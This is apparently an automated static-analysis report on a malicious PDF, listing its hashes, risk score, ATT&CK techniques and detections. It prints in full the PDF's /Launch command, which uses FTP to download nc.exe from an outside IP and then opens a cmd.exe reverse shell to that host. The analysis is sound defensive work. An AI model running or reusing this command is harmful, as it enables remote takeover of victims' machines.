Malicious PDF — malware analysis report

Static analysis result for SHA-256 0241d425046ef72a…

MALICIOUS

PDF

1.1 KB
MD5: 5318eca1d568132a5aa09bd5d697ac72 SHA-1: 1736a605a3d79ed0d7e8aa04818543c4c10b1ca2 SHA-256: 0241d425046ef72ad2fef98164c32f2c609d3dfe4b8a294d3be6bb8487a3775b
210 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.003 Windows Command Shell

The PDF contains a critical launch action that executes cmd.exe with a complex command. This command attempts to download a file named 'nc.exe' using FTP from '10.132.11.192' and then execute it, likely establishing a reverse shell. The ML classifier and ClamAV also flagged this PDF as malicious.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9991

Heuristics 3

  • Launch action critical PDF_LAUNCH
    PDF contains a /Launch action whose target is an executable, URL, or UNC path — can start an external application
  • /Launch action target: cmd.exe critical PDF_LAUNCH_COMMAND
    PDF /Launch action specifies an executable target with parameters '/c echo binary nc.exe>C:\\ftpcmd.txt && echo get nc.exe C:\\nc.exe>>C:\\ftpcmd.txt && echo quit>>C:\\ftpcmd.txt && ftp -s:C:\\ftpcmd.txt -A 10.132.11.192 && C:\\nc.exe -d -e cmd.exe 10.132.11.192 999' — references a known-dangerous executable (cmd, PowerShell, etc.).
  • ClamAV: Pdf.Exploit.Agent-36271 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Exploit.Agent-36271